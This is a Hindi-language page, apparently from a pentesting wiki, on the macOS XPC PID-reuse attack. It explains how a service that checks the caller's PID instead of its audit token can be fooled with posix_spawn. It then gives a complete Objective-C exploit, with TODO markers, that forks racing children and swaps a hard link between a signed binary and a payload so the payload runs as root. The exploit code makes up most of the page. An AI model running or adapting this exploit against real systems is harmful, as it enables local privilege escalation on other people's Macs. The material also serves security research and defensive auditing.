macOS PID Reuse
PID पुनः उपयोग
जब एक macOS XPC सेवा कॉल्ड प्रोसेस पर PID पर आधारित नहीं है और ऑडिट टोकन पर नहीं है, तो यह PID पुनः उपयोग हमले के लिए विकल्प है। यह हमला एक रेस कंडीशन पर आधारित है जहां एक एक्सप्लॉइट XPC सेवा को मैसेज भेजेगा जिसमें कार्यक्षमता का दुरुपयोग किया जाएगा और बस उसके बाद, posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)
को चलाया जाएगा अनुमति दी गई बाइनरी के साथ।
यह फ़ंक्शन अनुमति दी गई बाइनरी को PID स्वामित करेगा लेकिन दुर्भाग्यपूर्ण XPC मैसेज बस उससे पहले भेज दिया जाएगा। इसलिए, यदि XPC सेवा प्रेषक की पहचान करने के लिए PID का उपयोग करती है और यह posix_spawn
के अनुचित निष्पादन के बाद जांच करती है, तो यह सोचेगी कि यह किसी अधिकृत प्रक्रिया से आया है।
एक्स्प्लॉइट उदाहरण
यदि आपको फ़ंक्शन shouldAcceptNewConnection
या उसके द्वारा कॉल किए जाने वाले फ़ंक्शन मिलता है processIdentifier
और auditToken
को नहीं कॉल कर रहा है। तो यह उचित है कि यह प्रक्रिया PID की जांच कर रहा है और ऑडिट टोकन नहीं।
जैसे कि उदाहरण के लिए इस छवि में (संदर्भ से लिया गया):
इस उदाहरण एक्स्प्लॉइट की जांच करें (फिर से, संदर्भ से लिया गया) ताकि आप एक्स्प्लॉइट के 2 हिस्से देख सकें:
एक जो कई फोर्क्स उत्पन्न करता है
प्रत्येक फोर्क XPC सेवा को पेलोड भेजेगा जबकि
posix_spawn
को मैसेज भेजने के बाद ही निष्पादित किया जाएगा।
एक्स्प्लॉइट काम करने के लिए export`` ``
OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
या एक्स्प्लॉइट में डालना महत्वपूर्ण है:
पहला विकल्प NSTasks
का उपयोग करना और तर्क का उपयोग करके बच्चों को उत्पीड़ित करने के लिए शुरू करें
इस उदाहरण में एक कच्चा **`fork`** उपयोग किया गया है जो **PID रेस कंडीशन का शिकार होने वाले बच्चों को लॉन्च करने** के लिए उपयोग किया जाएगा और फिर **एक और रेस कंडीशन का शिकार होने के लिए हार्ड लिंक के माध्यम से शोषण करेगा:** ```objectivec // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h> #include <spawn.h> #include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS @protocol HelperProtocol
(void)DoSomething:(void (^)(_Bool))arg1; @end
// Global flag to track exploitation status bool pwned = false;
/**
Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
XPC service verify the legit binary and then execute as root out payload. */ void *check_race(void *arg) { while(!pwned) { // Overwrite with contents of the legit binary system("cat ./legit_bin > hard_link"); usleep(50000);
// Overwrite with contents of the payload to execute // TODO: COMPILE YOUR OWN PAYLOAD BIN system("cat ./payload > hard_link"); usleep(50000); } return NULL; }
void child_xpc_pid_rc_abuse(){ // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION #define kValid "./Legit Updater.app/Contents/MacOS/Legit" extern char **environ;
// Connect with XPC service // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT NSString* service_name = @"com.example.Helper"; NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000]; // TODO: CNAGE THE PROTOCOL NAME NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; [connection setRemoteObjectInterface:interface]; [connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[-] Something went wrong"); NSLog(@"[-] Error: %@", error); }];
NSLog(@"obj: %@", obj); NSLog(@"conn: %@", connection);
// Call vulenrable XPC function // TODO: CHANEG NAME OF FUNCTION TO CALL [obj DoSomething:^(_Bool b){ NSLog(@"Response, %hdd", b); }];
// Change current process to the legit binary suspended char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); }
/**
Function to perform the PID race condition using children calling the XPC exploit. */ void xpc_pid_rc_abuse() { #define RACE_COUNT 1 extern char **environ; int pids[RACE_COUNT];
// Fork child processes to exploit for (int i = 0; i < RACE_COUNT; i++) { int pid = fork(); if (pid == 0) { // If a child process child_xpc_pid_rc_abuse(); } printf("forked %d\n", pid); pids[i] = pid; }
// Wait for children to finish their tasks sleep(3);
// Terminate child processes for (int i = 0; i < RACE_COUNT; i++) { if (pids[i]) { kill(pids[i], 9); } } }
int main(int argc, const char * argv[]) { // Create and set execution rights to 'hard_link' file system("touch hard_link"); system("chmod +x hard_link");
// Create thread to exploit sign verification RC pthread_t thread; pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) { // Try creating 'download' directory, ignore errors system("mkdir download 2>/dev/null");
// Create a hardlink // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse(); usleep(10000);
// The payload will generate this file if exploitation is successfull if (access("/tmp/pwned", F_OK ) == 0) { pwned = true; } }
return 0; }
Last updated